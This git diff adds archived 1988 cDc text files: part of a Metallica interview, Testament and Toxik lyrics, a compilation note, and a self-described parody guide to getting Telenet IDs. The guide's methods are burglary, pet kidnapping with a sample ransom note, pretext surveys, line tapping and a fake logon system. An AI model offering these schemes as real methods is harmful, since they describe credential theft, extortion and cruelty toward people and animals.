SAY +LITERALLY, THEY CAN EVEN TAKE IT THE WRONG WAY. + +J: Yeah, a lot. + +K: It's happened in the past, people have taken us wrong. + +J: And then that's what gives the band a bad reputation. It's utter bullshit. + +K: When we're taken wrong and bad things happen, like people get hurt, there's +other people who are quick to bring blame, even though it's a personal +motivation on that person's part. The person takes us wrong and brings harm to +other people for whatever reason. That's fucked up, because a lot of the times +it's the person themselves and not us who are really saying the wrong things. + +J: All these freak people are trying to build in this huge symbolism between +the music they listen to and the lyrics and why they did this...the lyrics I +write I write pretty much for myself. I'm not telling people how to think. +Like, 'If you don't believe the way I do then you're not a real Metallica fan,' +or some shit like that. + +YOU'RE JUST PUTTING OUT AN OPINION... + +J: My opinion. + +THEN DOES THE WHOLE BAND AGREE WITH YOUR OPINION? + +K: I do. I feel that we pretty much stand behind anything he has to say. If +we didn't stand behind it we would let him know that in advance. So far we +haven't so we pretty much stand behind everything James says. + +J: We talk about topics, concepts... + +ARE YOU HAPPY WITH THE SUCCESS THAT YOU HAVE FROM WHAT YOU'RE DOING? + +J: We're doing it our way, we've always wanted to do it our way, I'm happy with +it. We haven't had to conform to any certain standards, record companies or +whoever else wants us to do it. They haven't molded us a certain way, we did +it all ourselves and that's great. I used to think back, and go, 'Oh my God, I +saw us in Circus or Hit Parader or I saw us in that magazine, oh shit, I hate +it.' + +WHY DID YOU HATE IT? + +J: Because it's so widespread, people see you in the magazine, 'Oh wow another +band blowing it.' But we're doing it our way. We're saying what we want to +say in interviews and they're not twisting the shit around. + +DO YOU THINK YOU'LL COME TO A POINT WHERE YOU HAVE TO WRITE A RADIO HIT, OR +YOU'RE GOING TO HAVE TO MAKE A VIDEO? + +K: If it happens, it happens by accident. + +J: No. We're not worried about that. You start thinking too far ahead and you +start fucking yourself up. + +K: I don't think we've ever regretted anything we've done. + +I GOT THE OPPORTUNITY TO GO WITH YOU GUYS ON THE BUS, YOU HAVE ALL THESE PEOPLE +RUNNING ALL THIS STUFF AND YOU GUYS DON'T EVEN HAVE TO TALK TO THEM BECAUSE YOU +TRUST THEM TO DO THIS OR THAT, THEN YOU GET TO THE ARENA AND YOU AND KIRK GO TO +THE CLOSET, GRAB YOUR SKATEBOARDS AND HOP OUT AND YOU TAKE OFF. IS THAT LIKE A +RELEASE FOR YOU GUYS? + +J: There's nothing else to do. Our guys are setting up our shit and... + +K: The thing with all these people is, we work with them. Those people don't +work for us, they work with us. We're all like a huge bunch of family. + +J: We all travel together. + +K: We're like a gang. They have their jobs, we have our jobs. Our jobs don't +start until 7:30 or so, so we just wait around, skate... + +IS BEING ON TOUR BORING? + +K: A lot of the times. + +J: It depends on where you are, but with a skate, if you're bored you've always +got something to do. + +SO THE TWO OF YOU GOT STARTED SKATEBOARDING THROUGH BOREDOMN ON TOUR? + +K: It just seemed like a real good idea. + +J: It's just kind of so we can flip away from all the hectic shit for awhile. + +DO YOU GET ANY HASSLES OR ANYTHING WHEN YOU'RE SKATING? + +K: Yeah, I get hassled by security guards but I just go on. + +DO THEY REALIZE YOU GUYS ARE THE BAND OR DO THEY THINK YOU'RE SOME LITTLE +ROADIE? + +J: No way, hell no. They just think we're freaks coming to watch the shows. + +K: I just go to another floor and skate. Fuck that. + +SO ARE YOU HAVING A GOOD TIME SKATING WHEN YOU'RE AT THESE ARENAS? + +J: Hell yeah. + +K: The polished floors are really cool. + +J: Well, it's best when there's no seats. A lot of the places have got seats. + +HOW DID YOU GET INTO THIS SKATING THING? + +J: Wanted something to do on tour, because there was a lot of idle time when +we're not doing anything. And I don't drink as much as I used to so it mellows +me. + +IS THAT GOOD OR BAD? + +J: I think it's good. + +YOU GOT HURT ONCE DIDN'T YOU? + +J: There was a couple of shows where I had to have my ankle taped up. For like +a week. It was banged up and twisted and... + +SINCE YOU GUYS HAVE STARTED THIS TOUR WITH OZZY, YOU'VE GOT A LITTLE FAMILY OF +SKATEBOARDING HAPPENING ON THIS BIG TOUR, CORRECT? + +K: Yeah, some people on Ozzy's crew and Ozzy's band. + +J: Yeah, guitarist Jake and his roadie are skating together now too. They saw +us with our boards and go, 'hey, fuck yeah, that's a good idea.' + +AND THE MANAGEMENT'S NOT GIVING YOU ANY HASSLES BECAUSE YOU'RE VALUABLE? + +J: We told the management, 'hey, look we're thinking about taking boards out on +tour'...I thought he was going to go, 'oh shit, no way, you can't.' He just +said, 'well, you break something, you still play.' + +K: Yeah, 'You break a leg on your skateboard you play on stage with a broken +leg.' + +YOU GUYS HAVE BEEN KNOWN TO ADMIRE THE MISFITS. + +K: Hi Glenn. Fuck yeah. + +AND YOU'RE GOING TO DO A COVER OF ONE OF THEIR SONGS, THAT'S WHAT THE WORD +IS... + +K: Yep. This is true. They're great. + +WHAT GOT YOU INTO THE MISFITS? DOES IT GO WITH THE PUNK THING? + +J: Cliff turned us on to them. + +J: All of his friends were into them and he taped some stuff from his friends. + +K: It just grew on us and we started listening to it a lot. I like the +Misfits. I liked the songs and then I saw pictures of them and went, 'Wow, +this is cool.' The imagery that they used was like some of the stuff I've seen +in old horror comics. + +JAMES, WHAT ARE YOU INTO, BESIDES TV? + +J: Live comedy. I'm into the Bobcat (Bob Goldthwait) and Sam Kinnison. + +K: Cliff's into Dawn of the Dead type stuff, stuff like that. + +HOW COME YOU DON'T HAVE COSTUMES? + +J: Yeah, we still haven't got our costumes back yet. Ozzy said we couldn't +wear them. We've got our red, white and blue sparkly suits. (laughs) + +WHERE'S THE MAKE-UP AND THE STUDS? + +K: They got rusty and fell off because we sweat too much. + +YOU HAVE A WHOLE CONCEPT BEHIND "MASTER OF PUPPETS", RIGHT, IS THAT WHY YOU +HAVE THE CROSSES AND THE WHOLE THING ON STAGE? + +J: Yeah, I think it's cool, something new. Last year we had our stacks...We're +supposed to be playing in the Aldacomet or whatever. + +K: It kind of helps the concept of the album too. + +WHAT IS THE CONCEPT OF THE ALBUM? + +K: Manipulation. Various forms of manipulation, which can go into entirely a +different subjects which we could talk about for hours. + +WHY ARE YOU SAYING "MASTER OF PUPPETS"? IS IT SOMETHING THAT YOU'VE FELT HAS +BEEN DONE TO YOU OR THAT YOU SEE BEING DONE TO YOUR FRIENDS? + +J: Nah, I see it done to different people. Some of the stuff...well "Master of +Puppets" deals pretty much with drugs. How things get switched around, instead +of you controlling what you're taking and doing it's drugs controlling you. +Like, I went to a party here in S.F., there were all these freaks shooting up +and geezin' and this other girl was real sick. + +DOES THAT SCARE YOU? + +J: Yeah, hella. + +ARE YOU GUYS GETTING TO THE POINT WHERE YOU'RE BECOMING AN ANTI-DRUG BAND? + +J: No, because we don't want to tell anyone what to do. If people are into it +that's cool, they wouldn't mind about the subject we're talking about. I was +at that party and it freaked me out and I'm hella paranoid. + +K: We run into a lot of freaks on the road messed-up on drugs, all the time. + +J: That's what happened at the last show... + +K: Yeah, someone O.D.ed at the L.A. show. + +J: Three people died. + +BUT THAT'S NOT YOUR RESPONSIBILITY THOUGH... + +J: 'Oh, of course it is,' all the mom's say. + +K: The P.M.R.C., they don't know about it yet, but if they did know about it +they'd raise a fucking all-holy ruckus. + +J: "Leper Messiah" deals with how people bow to TV preachers and send all their +money away... it's just that we're aware of the fact that shit like this +happens. + +WHAT'S THE FEELING FOR YOU GUYS WHEN YOU'RE PLAYING LIVE? + +K: It's a lot of fun. Just go out there and bash it out, you know, have a lot +of fun while we're doing it and if other people dig it, cool. + +EVEN WHEN YOU'RE PLAYING THE SAME SONG EVERY NIGHT? + +K: Yeah, we still get into it. + +J: It's a different feeling every night, different people there. It's cool to +freak people out too. A lot of people will be sitting there and don't know +what the hell... and you just go over and throw a beer on them. And then they +go, 'Oh my God, you're gettin' out of control.' Some people who come to gigs +are so lame. They sit there, they pay all this money to get front row, +'Yeah!,' and they sit down. Like man, what the fuck. + +YOU GET NERVOUS UP THERE IN FRONT OF A CROWD? + +J: I get nervous every night. Before I go on I feel like barfing my guts out. +Not nervous really, just a kind of excitement. Like, 'Oh my God, I'm going to +forget this, I'm going to forget the lyrics, I'm going to forget how to play +guitar...' + +K: Yeah, I'd say it's adrenaline that's building up, a lot of it's nervous +energy. + +WELL, HERE YOU ARE PLAYING FOR A CROWD OF LIKE 20,000... + +J: I don't even think of that. I don't think, 'Oh God, how many people are +going to be here tonight?' I just go out there and play. + +K: When you go out there and bash it out it brings up a rush of adrenaline. +Adrenaline is flowing and along with that is a touch of nervous energy. The +adrenaline like totally takes over when you get up on stage and start playing +and having a lot of fun. Then you forget the nervous energy. But I get +nervous... + +DOES IT BOTHER YOU THAT THEY SIT THERE? ARE THEY SUPPOSED TO AMP OUT? + +J: Not really, I like watching that though. It's kind of hard for kids to get +a huge pit going when there's all these chairs happening. Kids have fun their +own way. That's the way I have fun, so maybe they do it my way. You know, you +gotta have some fun. A lot of time they're just sitting there having fun their +way, you don't realize that's how they have fun. But, we're not out there +goin, 'OK, everybody, give me your cigarette lighters, everybody go like this.' + +DO YOU HAVE ANY ADVICE OR ANYTHING THAT YOU WOULD TELL PEOPLE? + +K: Be honest with yourself. + +J: Honest. Get some originality happening and be aware of certain positions +you could get stuck into as far as management and record companies. + +K: Be aware of the fact that it is a business and you have to have a +business-like attitude, because people will fuck you up any chance they get. + +LIKE PEOPLE USING YOU? + +J: I hate the business side of it all. I go to all of our band meetings or +wherever and end up falling asleep. + +K: I do too, I have a lot of contempt for it. You really have to pay attention +whether you like it or not. There has to be someone in the band who is aware +of what can happen and what is happening all the time. It's really easy to get +fucked over. So easy. + +IS THERE ANYTHING ELSE THAT JAMES AND KIRK HAVE TO SAY FOR METALLICA? + +K: Don't lie to yourself. Don't try to be something you're not. + +J: Hey, I'm eight feet tall. + +K: No you're not. + +J: People have to be confident in what they're doing, if they're not then +people will step all over them. Confidence in yourself. + +IS IT HARD TO SOMETIMES REALIZE THAT YOU GUYS ARE BEING USED? + +J: I get pissed-off once in awhile listening to bootleggers out there. I +almost fucking slammed one of them, then I realized, shit, I might get arrested +and then I can't play the show. Yeah, you gotta think ahead...at least one +hour. + + +=============================================================================== + (c)1988 cDc communications by Racer X 8/12/88-68 + All Rights Worth Not Very Much At All, And Regrettably So + diff --git a/textfiles.com/groups/CDC/cDc-0069.txt b/textfiles.com/groups/CDC/cDc-0069.txt new file mode 100644 index 00000000..3771cb94 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0069.txt @@ -0,0 +1,375 @@ + +_______________________________________________________________________________ + + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + TESTAMENT + + The New Order + + Compliments of Swamp Rat + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +TESTAMENT is: Louie Clemente: Drums Info: send SASE to + Eric Peterson: Rhythm guitar Pat McKillop + Greg Christian: Bass 2837 Delmore Rd. + Alex Skolnick: Lead Guitar San Pablo, CA 94806 + Chuck Billy: Vocals +_______________________________________________________________________________ + + +--Eerie Inhabitants + Music (Peterson,Skolnick) + Lyrics (Skolnick,Billy,Peterson) + +A world of chaos +A world of fear +A world of anger and corruption +When all is lost +And millions starve +Is this humanity's destruction? + +Life! A game that people play +Cryout! Will they see another day? + +No one to help us, +The children pray +Nobody listens to their crying +This great depression +When will it end? +To live like this is worse than dying + +Life! A game that people play +Cryout! Will they see another day? + +Your destiny is over +Your fate has declined +Refuse to discover +What so many could find +Death's endless toil +As I long for rest +Life's now forsaken +Condemned to repress! + +No sign of Heaven +No sign of Hell +Just the sign of pain and sorrow +This generation inhabits all +To form an order for tomorrow + +Life! A game that people play +Cryout! Will we see another day? + + +--The New Order + music(Skolnick,Peterson + lyrics(Skolnick,Peterson) + +Takers of humanity, elders paranoid +The time is now +Give up this world you once destroyed +Society versus the underground +Their battles fought and lost +The time has come +To rule the world at any cost + +For the past it's too late +Cause the world can't control fate +Shadows cast loud and clear +Tell the world the new order's here + +Cities turn to battlefields +A deadly spell is cast +Corpses falling one by one +Until the last +The preacher speaks of prophecy +So many years before +No one escapes their punishment +The gods of war + +For the past it's too late +Cause the world can't control fate +Shadows cast loud and clear +Tell the world the new order's here + +Death like an empty space +Feel no thoughts of fear +The future cries +As mother nature sheds a tear +The world becomes a prisoner +A victim of its crime +The human race is now a race +Against time + +For the past it's too late +Cause the world can't control fate +Shadows cast loud and clear +Tell the world the new order's here + + +--Trial By Fire + Music(Peterson,Skolnick) + Lyrics(Billy,Skolnick,Peterson) + +Accuse you of a crime +Sentenced to endless time +The price you have to pay +Won't get away! +Sworn in by the stand +Your rights are gone +The system's banned +They think you are a liar +A trial by fire + +Hey! +This is what the people say, +A new way +A trial by fire + +Locked in an empty cell +Your life becomes a living hell +The river of fire flows +Time only knows! +Trapped by flames of fury +Ordered unto by the jury +Death is their desire +Thrown in the fire! + +Hey! +This is what the people say, +A new way +A trial by fire! + +Quiver by the fiery light +Cringing as your soul ignites +The book of law's been thrown away +Starting today! + +The system before the war +Is gone for now and evermore +There is no sentence higher +A trial by fire! + +Hey! +This is what the people say, +A new way +A trial by fire! + +--Into The Pit + Music(Skolnick,Peterson) + Lyrics(Billy,Skolnick,Peterson) + +Deep in the pit and lying alone +Where death has reared itself a throne +We're all the good, the bad +The worst and the best +And where they land is their eternal rest + +Foul plays of passion +At twilight's dim +In joy of woe, of good and sin +Winds of storm and fates overcast +Darkly my presence +Is now your past + +Join the insanity +Or die as you fall +Into the pit! +The mass production +And the killing of all +Into the pit! +The future screams for help +Are fading away +Into the pit! +The world tomorrow +Will it die for today? +Into the pit! + +So in the sad, silent watches of night +The lonely pathway envisions my sight +Echoes of laughter +And boundless cries +So here I wander under infinite skies + +Join the insanity +Or die as you fall +Into the pit! +The mass production +And the killing of all +Into the pit! +The future screams for help +Are fading away +Into the Pit! +The world tomorrow +Will it die for today? +Into the pit! + + +--Disciples Of The Watch + Music(Skolnick,Peterson) + Lyrics(Billy) + +Cast to the fire +Banned by the light +Worship and listen to me +Condemned in his mind +In his evil place +Your fate is all that you'll see +I am the one +To show you the path +Salvation is in the fields +Listen up children and follow me +Or I'll let you pay the price +Of Malachi! + +Disciples of the watch +OBEY! +Or I'll burn you to that cross! + +Holding the mass +The demon is cast +To resurrect your soul +Calling to him +Is like an evil sin +A prophet is what they're told +Taking the land under command +Killing friend or fore +Feel the might of his evil wrath +Desecrate your soul! + +Disciples of the watch +OBEY! +Or I'll burn you to that cross! + +Cast to the fire +Banned by the light +Worship and listen to me +Condemned in his mind +In his evil place +Your fate is all that you'll see +For I am the one +To show you the path +Salvation is in the fields +Listen up children and follow me +Or I'll let you pay the price +Of Malachi! + +Disciples of the watch +OBEY! +Or I'll burn you to that cross! + + +--The Preacher + Music(Skolnick,Peterson) + Lyrics(Billy,Skolnick) + +In days of old +When the books were untold +Speak of a world crushed by sin. +"The people will mourn +Of a war to be born" +Nobody would listen to him. +Think back in time +When the future you find +Is so faint that it's too hard to see. +Don't disavow his word +For the truth must be heard +Cause the preacher tells visions he sees + +In 1906 +Like the future predicts +The city will crumble to the bay +Then what's in store +When the worlds go to war? +Peace will have come another day +Then came the one +In the year of '41 +Warfare would light up the sky +He beckoned the call +Of the future for all +Blinded by what's in his eyes + +In days of old +When the books were untold +Speak of a world crushed by sin. +"The people will mourn +Of a war to be born" +Nobody would listen to him. +Think back in time +When you future you find +Is so faint that it's too hard to see. +Don't disavow his word +For the truth must be heard +Cause the preacher tells visions he sees. + +Listen to these words I preach +Catastrophic lessons they shall teach (x2) + + +--A Day Of Reckoning + Music(Peterson,Skolnick) + Lyrics(Billy) + +First there came a mass +Brilliant lights of flash +All across the President's skies +As he sits and laughs +He preaches non-conformity +I don't think they see +They live for him and what he believes +A wrath of misery + +Left to die alone +In their living past +As he takes their lives away +To never get it back +No more need for society +All the lives he took +The fault of law and majority +Rules in an open book + +Leave me alone +Don't take it away +A place where I know +They're destined to take away + +Now they lives they lead +Are left to broken dreams +Just when they thought + They had it all +Life's not what it seems +He preaches non-conformity +I don't think they see +They live for him and what he believes +A life of misery + +Leave me alone +Don't take it away +A place where I know +They're destined to take away + +Don't take away +Society +There'll come a day +You're gonna pay + +Day by day a day of reckoning + +You're all gonna pay + +You can't get away + + +=============================================================================== + (c)1988 cDc communications by Swamp Rat 8/15/88-69 + All Rights Worth Not Very Much At All, And Regrettably So + diff --git a/textfiles.com/groups/CDC/cDc-0070.txt b/textfiles.com/groups/CDC/cDc-0070.txt new file mode 100644 index 00000000..7ed0ec79 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0070.txt @@ -0,0 +1,25 @@ + + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + The cDc compilation - volume one + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- + + Well. This is a double-sided compilation disk featuring cDc files +#1-15 (except for some docs) and other interesting files written by various +people. Eventually, more volumes of this compilation will follow to include +all the cDc releases, so watch for 'em. Enjoy the disk. + +Thanks to: Anarchy Inc. and the Neon Knights/Metal Communications groups for +their earlier text-oriented work. Also, thanks to everyone who wrote files +appearing on the disk, and the Necrovore (formerly The Raver) for encouragement +and distribution. + -Swamp Rat +=============================================================================== + (c)1988 cDc communications 8/15/88-70 + diff --git a/textfiles.com/groups/CDC/cDc-0071.txt b/textfiles.com/groups/CDC/cDc-0071.txt new file mode 100644 index 00000000..ebb302bd --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0071.txt @@ -0,0 +1,377 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / .ooM presents... \ / + (` ') / (` ') + (U) (U) + + THE *ONLY* WAY TO GET TELENET THINGIES + + by Tequila Willy + _______________________________________________________________ + | | + | TEQUILA WILLY'S GREAT SUBTERRANEAN CARNIVAL: <209>/526-3194 | + |_______________________________________________________________| + + Please Note: The idea to compile this ^ + Wow, it highly valuable and useful information | + lines up! ---> into a t-file was conceived by Tequila Glory For + Willy (that's me).. Actually, honestly Me! + (see the pureness of my Bovine being?) + Swamp Rat and I were chatting away and + I thought it might make one wow t-file + so it 'twas written..Well, actually it + was scribed...Hmmm...hard to say...Not <--- Note the + really..I'm just attempting to get the excessive + paragraph here to form a lil' box, and use of + I think I'm doing a good job.. Like I periods... + wanted to say, I just wrote the file.. + but the ideas within (this tfile) were + formed by Swamp Rat and myself. Ta-da. + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- + + +_______________________________________________________________________________ + + (The following file is buffoonery..ya..that is..well, it's a parody ya'll..) +_______________________________________________________________________________ + + 08/15/88 <--]- That's the date! + 2:20 p.m. PDT <--]- That's the exact time! + (sorta..almost..kinda) + + If you're a REAL HACKER (like myself and L.E.) then you not only subscribe +to superior magazines like Hustler and National Geographic, but you also spend +a LOT of time (gobs of time i.e.) jackin--er..I mean, hacking Telenet.. Finding +new nodes to hack, planting viruses, and (of course) getting those radical +TELENET THINGIES... + +<%=-------------------------------------------------------------------------=%> +[ Definition ] + +(Do you like the way I used those brackets and the neato little line with the +groovy little "--=%>" pattern on the end? Ya..I knew you would! I stole that +one from "The Phreaker's Handbook" by Cat-Trax.. You remember, it's the file +that looks AMAZINGLY SIMILAR to great parts of "BIOC Agent 003's course in +BASIC TELECOMMUNICATIONS PART IV".. What the hell..I mean, so what if it's +plagiarism? I mean, if BIOC stole from Cat-Trax.....(Riiiigghhhttttt..[read +that with lots o' sarcasm..])) + + +Well, anyhow, back to the subject..like I was sayin'.. .. + +[ Definition ] + +(All you ELITE!1! people can skip over this part cause' you obviously already +know what I'm talking about, but I gotta stick this part in here for all the +LAMES that are reading this... hupho..) + +*ELITE* people call Telenet thingies "Telenet thingies" so that all the pigs +and narcs won't catch on to the code... But since this is a "tutoring" file +I'll tell you exactly what Telenet thingies are....Just MAKE SURE that no pigs +or narcs get their hands on this file... + +TELENET THINGIES a.k.a. TELENET IDs a.k.a. TELENET NUIs... + +(Shhhhhhhhhhhhhhhhh...!) + +ko...Now that you know what were going to be getting, we can get to the good +stuff... + +[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+] + +[ The Good Stuff ] + +(Notice the groovy little line I used to separate the main ideas?) + +There are many ways to go about acquiring Telenet thingies...I will go over my +favorite methods for you... + +METHOD I: Ransom +--------- ------ + + This is my favorite method..I've acquired at least 100+ IDs..er...TELENET + THINGIES..via this method. Here's whatcha do.... + +4 The first thing you have to do is locate the Telenet office in your + town/city/village.. If you don't know where it's located, simply pull a + CN/A on the number. Once you get the address where your local dial-up(s) +S are located, pay it a visit...(and bring something to write with and +p something to write on).. +a +c Stake out the office from the parking lot.. Wait for an employee to enter +e his/her vehicle and then write down the license plate number (unless you're + elite, then you can just use your photographic memory, but haye', don't + feel bad, we can't ALL be elite..) +M +a Wait around the parking lot some more and get the plate numbers of several +r more employees... After you have 5 or 6+ plate numbers you can do either +g of the following (depending if you're elite or not)... +i +n * The First Way (UNelite): Head on over to the DMV office and get the +! names and addresses of the owners of those + license plates.. This is very simple and easy, + and only costs a very little, tiny, teeny bit + of money.. + + * The Second Way (ELITE): Simply break into the DMV computer and get their + names and numbers for FREE. (Call up Jennifer, + invite her over and when she gets there tell her + to "...turn on the PRINT-er so I can get a + PRINT-out of THIS..." + (Riiiiggghhhhhhhtttttttt.....)) + + Okay, so you got their addresses, now what? Go ahead and test out your + elite hacking skills... Go on, guess where you're going now! + + [ Fill in your guess here: ________________________________ + __________________________________________________________ ] + + Right on! You're going to go home, grab some food out of the fridge, crank + up the stereo, and call up a girlie! + + If you are a lame you obviously won't know any girls so just jack off and + have a stale Twinkie... + + Now that you're done with your leisure time, head on over to one of those + addresses that you have. Once you're there, case the place... If you're + not a pussy then you'll be elite and break-in while they are home...On the + other hand, if you're a gutless sapsucking mongo-hippy dweeb then you'll + want to wait until no one is home before you break-in. + + Breaking in is easy enough to do (I prefer the Santa Claus method of + entry myself), but if you need help I'm sure The Ninja can help you..He's + only written about 10,000+ files to help you be a stud, if you can't find + what you need in there, to help you break into a home, then just skip this + method of getting those Telenet thingies...While you're at it, sell your + computer equipment and buy an Atari 2600..See if you can get some stale + Twinkies at Food 4 Less too. + + Now that all the lames have given up, all you real hackers may proceed + with the rest of this file. You might be lame and ask "Why am I breaking + into this house?" or you might be elite and ask "Y M I brakin' in2 thiz + hauz?/?/" In either case, I'll tell you... You're looking for pets. You + know: cats, dogs, rodents, fish, carpet lice, etc. Once you have found a + pet (which you will presume the owner is emotionally attached to) you will + proceed to take him/her/it home with you. + + Once home you'll want to boot-up your favorite word processor so that you + can write your ransom note (of course the ransom will be those RADICAL + TELENET THINGIES!##@%2135%$!#@%$#@%@$!%$!@^) + + (To ease in simplicity I have included an example of a ransom note that + I often use myself.) + + Example! + ______________________________________ + | | + | I HAVE Y0R CAT!!!11!!! | + | | + | IF U WANT 2 SEE IT A LIVE | + | | + | EFAR AGAIN THEN U WILL GIVE | + | ME YOUR SEKRAT TELENET ID!!!1!!! | + Example! --> | | <-- Example! + | **DO NOT KALL THE | + | | + | POLISE** | + | | + | I WILL KONTAKT U WITHIN 24 | + | | + | HOURZ!!!!1!!!1!!!!1!! | + | | + |______________________________________| + + Example! + + + You might be thinking to yourself that you don't have their phone number. + Then again, you might be elite and know how to get it, but I'll explain + it for the lames reading this.. To get their phone number all you have + to do is build a Beige Box (didja ever notice how 4 million+ fucking lames + decided they to could be elite via plagiarism and therefore SLYLY + "invented" shit like the Bud Box and the Hot Box? I would just + specifically like to say to those guys (specifically the author of the Hot + Box): EAT SHIT AND LIVE!) Like I was saying, you merely build yourself a + BEIGE BOX, find the Bell-Hell box (that grey fucker) attached to the side + of the house and pull an ANI on the line.... + + (Wasn't that...SPECIAL...?) + + Okay, when you call the guy back you gotta be confident, secure, in + control of the situation. To aid you in your quest for Telenet thingies, + I've included sample dialogues of not only the RIGHT way to do things, + but also the WRONG way... + + THE WRONG WAY: + ============== + + (<-- SIMULATED DTMF!) + + VICTIM: "Hello??" + YOU: "Hi, how ya doing today? I'm the one who kidnapped your cat!" + VICTIM: "You say you want my TELENET ID??" + YOU: "uhhh..ya..that's right." + VICTIM: "What's your name?" + YOU: "M.T. Head! Just a sec.." "...My sister has to use + the phone..Could you call me back in about 1/2 hour?" + VICTIM: "Okay.." + YOU: "Here's my number..." + + Okay..okay...bad example..But as you can see, it's ALL WRONG!1!1%$@#%!@%# + dAMIT!1!%!# BE A FUCKIN' TERRORIST!!%$@#%!#@% + + THE RIGHT WAY: + ============== + + (Notice how you reroute your call like all ELITE + hackers do?) + + + + VICTIM: "Hello?" + YOU: "Yo!--Bitch, I got your fucking cat! " + VICTIM: "Yiiiiieeeeeee! Issheokay?huhhuhishe?" + YOU: "If you ever want to see this cat alive again, you'll give me your + Telenet thingie right now!" + VICTIM: "Telenet thingie? You mean ID?" + YOU: "Shhhhhhh....! yayaya.." + + + Obviously, by this time your victim will be so frightened that you'll + have no problems getting the Telenet thingie out of them... If you're + not a pussy you'll kill whatever animal you caught and send it back to + them--STUFFED! + +METHOD II: Survey +---------- ------ + + Do the same thing as you would in the ransom method to obtain their + name and address, but instead of kidnapping animals you merely pretend + to take a survey.. The trick to this method is that you have to be sly + in your questions.. + + (To aid you in your quest I have included a questionnaire that I have + used before to successfully obtain telenet thingies.) + + [FOR BEST RESULTS DO NOT MIX THE ORDER OF THESE QUESTIONS!] + + + Introduction: + + "Hi, my name is Indianian Jones, and I'm conducting a survey + for a sociology project. I'd like to know if you'd + participate by answering a few questions?" + + + + (After they agree, proceed with the following questions...) + + "1. Do you prefer a penis with length or girth? + 2. Do you enjoy chewing gum? + 3. What's your favorite color? + 4. What is your Telenet ID and password? + 5. Do you think communism will prevail?" + + (Notice how SLYLY you obtained information to logon with their account?) + + + + "Thank you for your time." + + + +METHOD III: Technically Debonair +----------- -------------------- + + This method is one of my favorite methods to obtain Telenet thingies! + For this method you will need some hardware. + + HARDWARE REQUIRED: + Tape recorder, + RCA jacks (4), + A 90 min. tape, + Bailing wire, + Banana peel, + Orange paint, + Telephone (preferably with DTMF), + A copy of Hustler, + A garbage can, + 100 sheets of white typing paper, + A Clock, + Modem, + VCR (VHS). + + Okay, chuck everything into the garbage can except for the tape recorder, + the VCR, the 90 min. tape, modem, and your copy of Hustler. Now you merely + go on down to the Telenet office and hook your tape recorder up to + their data lines so that it will record all the data that is sent and + received. You might think that that is easier said than done, and god + dammit you're right! But then, I just write these things to gain glory for + me, if you want to get technical, read a copy of Phrack Inc! + + Once your tape is filled up (you're supposed to stick the tape in the tape + recorder..sheezzzeee!) you take it home and hook the tape recorder back up + to your modem. Now you hook the VCR up to your monitor (this actually + works best with a T.V...but haye', if you want to struggle..) Play the + tape back to your computer and record all the stuff to the VCR... Now, when + you have leisure-time, you can simply play the VCR back and fast forward to + the technical stuff that you need (i.e. finding the Telenet thingies!) + +METHOD IV: Pseudo Telenet +---------- -------------- + + Here is another favorite method that I often use when I go on vacation. + The idea here is that you have everyone think that your number is + actually Telenet by writing a program that will simulate logons. I + actually have a VAX in my basement which is great for this, but haye', + we can't ALL be elite and have that luxury (I carded it!) + + The only real trick here is getting people to call your number instead + of Telenet. I will discuss two methods which I have successfully used + to accomplish this task. + + Call Forwarding Method + ---------------------- + + To use this method you simply call up the Telco. office and order + call forwarding for the Telenet line, then you head on over to the + phone terminals (at Telenet) and, using your stolen lineman's + handset, forward the numbers to your line. Wasn't that simple? + + + Mail Fraud Method + ----------------- + + This my preferred method. The first thing I do is write a program + (on my VAX) that will address a letter to every address in my + city (it's only about 150,000 population, so it doesn't take long) + stating that the Telenet number has been temporarily changed [to + my number]. I then use the mail fraud method of sending the letters + so that it's all free (you know, that's where you put the person + you are sending it to as the return address and then "forget" to put + a stamp on it and it's "returned"..) When I am done running my + operation, I merely do the same thing stating that the number has + been changed back. It's so simple. + +_______________________________________________________________________________ + +Well, that about wraps it up for THIS T-File.. I would like to extend a hearty +congratulations to those of you who are still reading.. Be sure to look for +more distorted and unachievable humor in the near future. Adieu... + +=============================================================================== + "Don't you hate it when loosers call each other loosers?" +=============================================================================== + "What ever happened to Bowzer?" + "Does Batman still love us?" +=============================================================================== + (c)1988 cDc communications by TA-KEE-LA Willsie 8/17/88-71 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0072.txt b/textfiles.com/groups/CDC/cDc-0072.txt new file mode 100644 index 00000000..537145eb --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0072.txt @@ -0,0 +1,411 @@ + +_______________________________________________________________________________ + + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + TOXIK + + World Circus + + Compliments of The Omen + + >>> A CULT Distribution.....1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Toxik is: Josh Christian - Guitars + Mike Sanders - Vocals + Tad Leger - Drums + Brian Bonini - Bass + + All songs written by Josh Christian, Except "Social Overload" by + Christian/Sanders, and "Haunted Earth" by Christian/Sanders/Meryl + + Published by Roadblock Music (ASCAP) + +Special Note from TOXIK: "Stop the Madness: Drugs are no fun, drugs endanger + the life and happiness of millions. It must stop, we appeal to the youth of + today, stop the madness. There are better things in life." + + -'De Omen - BSP/LOL + + +_______________________________________________________________________________ + + + Heart Attack + ----- ------ + (As Toxik says - You figure it out!) + + + Social Overload + ------ -------- + +We are searching for the answer +To our prayers +The endless road ahead +Is from our errors +Overbearing powers strengthening +Atomic fear of what tomorrow brings + +Burning down with fire +Meltdown of the soul +Threat of termination +Social Overload + +Hopes and questions +Running through our mind +But it's a case +Of blind leading blind +Money rules the hearts +Of men we fear +But still the people do not hear + 